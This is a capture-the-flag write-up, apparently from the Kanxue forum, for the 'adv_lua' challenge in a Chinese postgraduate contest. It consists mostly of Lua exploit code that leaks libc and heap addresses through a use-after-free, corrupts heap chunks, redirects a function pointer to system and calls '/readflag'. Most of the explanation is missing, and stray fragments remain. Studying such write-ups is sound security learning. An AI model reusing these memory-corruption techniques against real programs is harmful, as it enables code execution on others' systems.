其他
华为杯研究生国赛 adv_lua
function get_int64(obj, off)
res = 0
for i=0,7,1 do
res = res + (obj.get(obj, i+off) << (i*8))
end
return res;
end
function set_int64(obj, off, val)
--print(val)
for i=0,7,1 do
tmp = (math.floor(val) >> i*8) & 0xff
obj.set(obj, i+off, tmp)
end
end
print(barr.move(barr,barr))
b = bytes.new(0x20)
a.move(a,b)
c = bytes.new(0x20)
libcbase=get_int64(c,0)-0x219ce0
c.move(c,a)
c = bytes.new(0x20)
heapbase=(get_int64(c,0)<<12)-0x600
print(string.format("[+] libcbase address is 0x%x", libcbase))
print(string.format("[+] heapbase address is 0x%x", heapbase))
'0x570000000000'
>>>
a=bytes.new(0x20)
a=bytes.new(0x20)
a.move(a,a)
set_int64(a,0,0x6161616161616161)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a.move(a,a)
b=bytes.new(0xb8)
set_int64(a,0x28,target)
set_int64(b,0,0x6161616161616161)
尝试将函数指针修改为system。
set_int64(b, 0x8, 0x616c66646165722f)
set_int64(b, 0x10, 0x67)
看雪ID:Ayakaaa
https://bbs.kanxue.com/user-home-954038.htm
# 往期推荐
1、2023 SDC 议题回顾 | 芯片安全和无线电安全底层渗透技术
6、2023 SDC 议题回顾 | 深入 Android 可信应用漏洞挖掘
球分享
球点赞
球在看